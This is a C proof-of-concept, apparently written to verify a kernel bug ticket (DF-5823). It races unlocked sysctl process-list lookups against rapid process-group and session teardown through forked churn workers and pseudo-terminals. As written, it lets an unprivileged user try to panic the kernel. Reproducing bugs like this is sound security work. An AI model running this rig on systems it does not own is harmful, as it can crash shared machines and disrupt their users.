/*
 * DF-5823 rig: race the unlocked p_pgrp/pg_session/s_ttyp filter derefs in
 * sysctl_kern_proc() (sys/kern/kern_proc.c:1734-1747) against rapid
 * session/pgrp teardown.
 *
 * Churn side: short-lived grandchildren repeatedly do
 *   setpgid(0,0)   -> fresh pgrp with self as last member (on allproc list)
 *   setsid()       -> leaves that pgrp as last member => pgrel() frees it
 *                     WHILE the proc is still scannable on allproc
 * plus a controlling-tty variant (posix_openpt + auto-TIOCSCTTY) so the
 * KERN_PROC_TTY 4-hop chain p_pgrp->pg_session->s_ttyp->t_dev is raced too.
 *
 * Scanner side: poll kern.proc.pgrp.<pgid> and kern.proc.tty.<devid> in a
 * tight loop.  Every poll executes the filter chain for every non-SIDL
 * process with P_CONTROLT set, regardless of whether the ids match.
 *
 * Build:  cc -O2 -o df5823_churn df5823_churn.c
 * Run (unprivileged): ./df5823_churn 180
 * Expected (if the race produces a bad hop): kernel panic / fatal trap.
 * Expected (benign-zone-read outcome): run completes, no panic - race is
 * still real (see VERDICT.md), impact limited to stale/garbage reads.
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <time.h>

#define NWORKER 24

static volatile sig_atomic_t stop;

static void
onalrm(int sig __unused)
{
	stop = 1;
}

/*
 * Grandchild: one churn unit.
 *  - setpgid(0,0): new pgrp G, self only member, still on allproc list
 *  - setsid():     leave G as last member -> G pgrel-freed while scannable
 *  - ctty variant: acquire controlling tty (P_CONTROLT + s_ttyp), then
 *                  fork a grandchild that repeats the pgrp destroy dance
 *                  inside the ctty session (races the full tty chain).
 */
static void
grandchild(int do_ctty)
{
	pid_t p2;
	int i, mfd, sfd;
	char *pts;

	if (setpgid(0, 0) == -1)
		_exit(1);
	if (setsid() == -1)
		_exit(1);

	if (do_ctty) {
		mfd = posix_openpt(O_RDWR | O_NOCTTY);
		if (mfd >= 0 && grantpt(mfd) == 0 && unlockpt(mfd) == 0 &&
		    (pts = ptsname(mfd)) != NULL) {
			sfd = open(pts, O_RDWR);	/* auto-TIOCSCTTY */
			if (sfd >= 0) {
				for (i = 0; i < 4; ++i) {
					p2 = fork();
					if (p2 == 0) {
						/* in ctty session, has
						 * inherited P_CONTROLT */
						setpgid(0, 0);
						setsid();	/* hot race */
						_exit(0);
					}
					if (p2 > 0)
						waitpid(p2, NULL, 0);
				}
				close(sfd);
			}
		}
		if (mfd >= 0)
			close(mfd);
	}
	_exit(0);
}

static void
worker(int do_ctty)
{
	pid_t pid;

	for (;;) {
		pid = fork();
		if (pid == 0)
			grandchild(do_ctty);
		if (pid > 0)
			waitpid(pid, NULL, 0);
	}
	_exit(0);
}

int
main(int argc, char **argv)
{
	int i;
	unsigned long scans = 0, tsecs = 120;
	struct timespec ts0, ts1;

	if (argc > 1)
		tsecs = (unsigned long)atol(argv[1]);

	for (i = 0; i < NWORKER; ++i) {
		pid_t pid = fork();
		if (pid == 0)
			worker(i & 1);	/* half plain, half ctty churn */
	}

	signal(SIGALRM, onalrm);
	alarm((unsigned)tsecs);

	clock_gettime(CLOCK_MONOTONIC, &ts0);
	while (!stop) {
		static char buf[128 * 1024];
		size_t len = sizeof(buf);
		int mib[4];

		mib[0] = CTL_KERN;
		mib[1] = KERN_PROC;
		mib[2] = KERN_PROC_PGRP;
		mib[3] = 1;		/* init's pgid */
		sysctl(mib, 4, buf, &len, NULL, 0);

		len = sizeof(buf);
		mib[2] = KERN_PROC_TTY;
		mib[3] = 0;		/* filter chain runs regardless of dev */
		sysctl(mib, 4, buf, &len, NULL, 0);

		++scans;
	}
	clock_gettime(CLOCK_MONOTONIC, &ts1);
	fprintf(stderr, "scanner iterations: %lu (%.1f/s)\n", scans,
	    (double)scans /
	    ((ts1.tv_sec - ts0.tv_sec) + 1e-9 * (ts1.tv_nsec - ts0.tv_nsec)));

	kill(0, SIGKILL);	/* reap the whole churn tree */
	return (0);
}
